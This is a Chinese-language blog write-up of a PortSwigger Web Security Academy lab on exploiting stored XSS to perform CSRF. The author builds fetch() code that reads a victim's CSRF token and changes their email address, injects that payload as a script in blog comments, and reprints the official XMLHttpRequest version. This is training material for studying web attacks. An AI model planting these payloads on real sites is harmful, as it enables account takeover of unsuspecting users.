某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

        • 学徒-反射型XSS-未编码的HTML上下文
        • 学徒-存储型XSS-未编码的HTML上下文
        • 学徒-DOM型XSS-document.write接收器-location.search源
        • 从业者-DOM型XSS-document.write接收器-location.search源-位于select元素内
        • 学徒-DOM型XSS-innerHTML接收器-location.search源
        • 学徒-DOM型XSS-jQuery锚点href属性接收器-location.search源
        • 学徒-DOM型XSS-jQuery选择接收器-hashchange事件
        • 从业者-DOM型XSS-AngularJS表达式-尖括号与双引号HTML编码
        • 从业者-反射型DOM XSS
        • 从业者-存储型DOM XSS
        • 从业者-XSS上下文-HTML标签之间-反射型XSS-大多数标签和属性被阻止
        • 从业者-XSS上下文-HTML标签之间-反射型XSS-除了自定义标签外的所有标签都被阻止
        • 专家-XSS上下文-HTML标签之间-反射型XSS-事件处理程序和href属性被阻止
        • 从业者-XSS上下文-HTML标签之间-反射型XSS-允许使用SVG标签
        • 学徒-XSS上下文-HTML属性中-反射型XSS-尖括号HTML编码
        • 从业者-XSS上下文-HTML属性中-存储型XSS-锚点href属性与双引号HTML编码
        • 从业者-XSS上下文-HTML属性中-反射型XSS-link规范标签
        • 从业者-XSS上下文-JavaScript字符串中-反射型XSS-单引号和反斜杠转义
        • 学徒-XSS上下文-JavaScript字符串中-反射型XSS-尖括号HTML编码
        • 从业者-XSS上下文-JavaScript字符串中-反射型XSS-尖括号双引号HTML编码和单引号转义
        • 专家-XSS上下文-JavaScript URL中-反射型XSS-某些字符被阻止
        • 从业者-XSS上下文-利用HTML编码-onclick属性中的存储型XSS-尖括号双引号HTML编码-以及单引号反斜杠转义
        • 从业者-XSS上下文-模板字面量-反射型XSS-尖括号单引号双引号反斜杠和反引号Unicode转义
        • 从业者-利用跨站脚本-窃取cookie
        • 从业者-利用跨站脚本-捕获密码
        • 从业者-利用跨站脚本-执行CSRF
          • 题目
          • 实操
        • 专家-内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击
        • 专家-内容安全策略-反射型XSS-绕过CSP保护
        • 专家-客户端模板注入-反射型XSS-无字符串的AngularJS沙箱逃逸
        • 专家-客户端模板注入-反射型XSS-AngularJS沙箱逃逸与CSP的碰撞
      • 跨站请求伪造(CSRF)

      • 跨域资源共享(CORS)

      • 点击劫持

      • 基于DOM的漏洞

      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 跨站脚本(XSS)
carsaid
2023-09-12
目录

从业者-利用跨站脚本-执行CSRF

# 实验室:利用跨站脚本执行CSRF

# 题目

此实验室在 博客评论功能 中包含一个存储型 XSS 漏洞。若要解决实验室问题,请利用此漏洞执行CSRF攻击 (opens new window),并更改 “查看博客文章评论的用户” 的电子邮件地址。

你可以使用以下凭据登录到自己的帐户:wiener:peter

提示

你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。

(((译者加:题目中第二个提示的意思是,每个账户之间的电子邮件地址不能重复。比如你的账户邮箱是a@b.c,然后在漏洞利用代码里也写了a@b.c,试图把受害者的邮箱改为a@b.c,但由于你已经使用了这个邮箱,所以会导致攻击失败。在漏洞利用代码中,你应该使用一个不会重复的邮箱地址,例如x@y.z。)))

实验室-从业者

利用跨站脚本执行CSRF >>

- name: 实验室-从业者
  desc: 利用跨站脚本执行CSRF >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

点击 “My account” 进入登录界面。

Not Found Image

使用题目中提供的用户名和密码进行登录。

登录之后,在账户页面可以看到一个 “邮箱更新功能”。

Not Found Image

尝试将邮箱更改为admin@normal-user.net时发生错误,说明该邮箱已被其他账户使用。

Not Found Image

而且,此时还不能发起 CSRF 攻击,因为邮箱更改功能存在 Token 机制,CSRF 的路被堵死了。

Not Found Image

但如果同时存在 XSS 漏洞,则可以绕过 Token 的限制。

我们可以利用 XSS 漏洞执行 JavaScript 代码,通过 JavaScript 发起 HTTP 请求并获取网页中的 CSRF Token。

通过 JavaScript 发起 HTTP 请求的方式有很多种,这里我选择了 Fetch (opens new window):

url = "https://<实验室URL>/my-account";
param = {method: "GET"};
fetch(url, param).then(res => {res.text().then(function (text) {
    console.log(text.match(/\w{32}/)[0])
});})
1
2
3
4
5

在控制台运行上述代码,成功获取到了账户页面中的 CSRF Token。

Not Found Image

第一步,获取 Token 已经成功。

第二步,使用 Token 修改用户的邮箱:

url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account";
param = {method: "GET"};
fetch(url, param).then(res => {res.text().then(function (text) {
    token = text.match(/\w{32}/)[0]
    payload_url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account/change-email"
    payload_param = {
        method: "POST",
        headers: {"Content-Type": "application/x-www-form-urlencoded"},
        body: "email=xxxyyyzzz%40normal-user.net&csrf=" + token
    }

    fetch(payload_url, payload_param)
});})
1
2
3
4
5
6
7
8
9
10
11
12
13

在控制台运行上述代码,尝试将当前用户的邮箱aaabbbccc@normal-user.net更改为xxxyyyzzz@normal-user.net

Not Found Image

运行代码之后,刷新页面,邮箱成功被更改。

载荷构建成功。

Not Found Image

点击任意 “View post” 进入文章详情页。

Not Found Image

第三步,将最终的 XSS 载荷注入评论区,受害者访问之后将会自动运行 JavaScript 并发起 CSRF 攻击:

<script>
    url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account";
    param = {method: "GET"};
    fetch(url, param).then(res => {res.text().then(function (text) {
        token = text.match(/\w{32}/)[0]
        payload_url = "https://0af3008203c4625980987bb400c90074.web-security-academy.net/my-account/change-email"
        payload_param = {
            method: "POST",
            headers: {"Content-Type": "application/x-www-form-urlencoded"},
            body: "email=qqqwwweee%40normal-user.net&csrf=" + token
        }

        fetch(payload_url, payload_param)
    });})
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

记得把载荷中的邮箱 修改为一个无人使用的邮箱,例如qqqwwweee@normal-user.net。

Not Found Image

提交载荷至评论区。

Not Found Image

返回文章,查看攻击效果。

嗯?怎么没执行?为啥 JavaScript 被当做普通字符了?

噢,我忘记加script标签了,尴尬......

Not Found Image

重新提交评论,这次为 JavaScript 加上script标签。

Not Found Image

提交评论之后,实验室提示我们已经完成实验。

Not Found Image

再次尝试,将邮箱更改为admin@normal-user.net。更改成功,说明受害者的邮箱确实被更改了,原来的邮箱变为了未使用状态。

(现在管理员的邮箱是我的啦!桀桀桀...)

Not Found Image

后来我看了答案,答案中使用了另一种发起 HTTP 请求的方式:XMLHttpRequest (opens new window)

<script>
    var req = new XMLHttpRequest();
    req.onload = handleResponse;
    req.open('get','/my-account',true);
    req.send();
    function handleResponse() {
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
        var changeReq = new XMLHttpRequest();
        changeReq.open('post', '/my-account/change-email', true);
        changeReq.send('csrf='+token+'&email=test@test.com')
    };
</script>
1
2
3
4
5
6
7
8
9
10
11
12
编辑 (opens new window)
从业者-利用跨站脚本-捕获密码
专家-内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击

← 从业者-利用跨站脚本-捕获密码 专家-内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式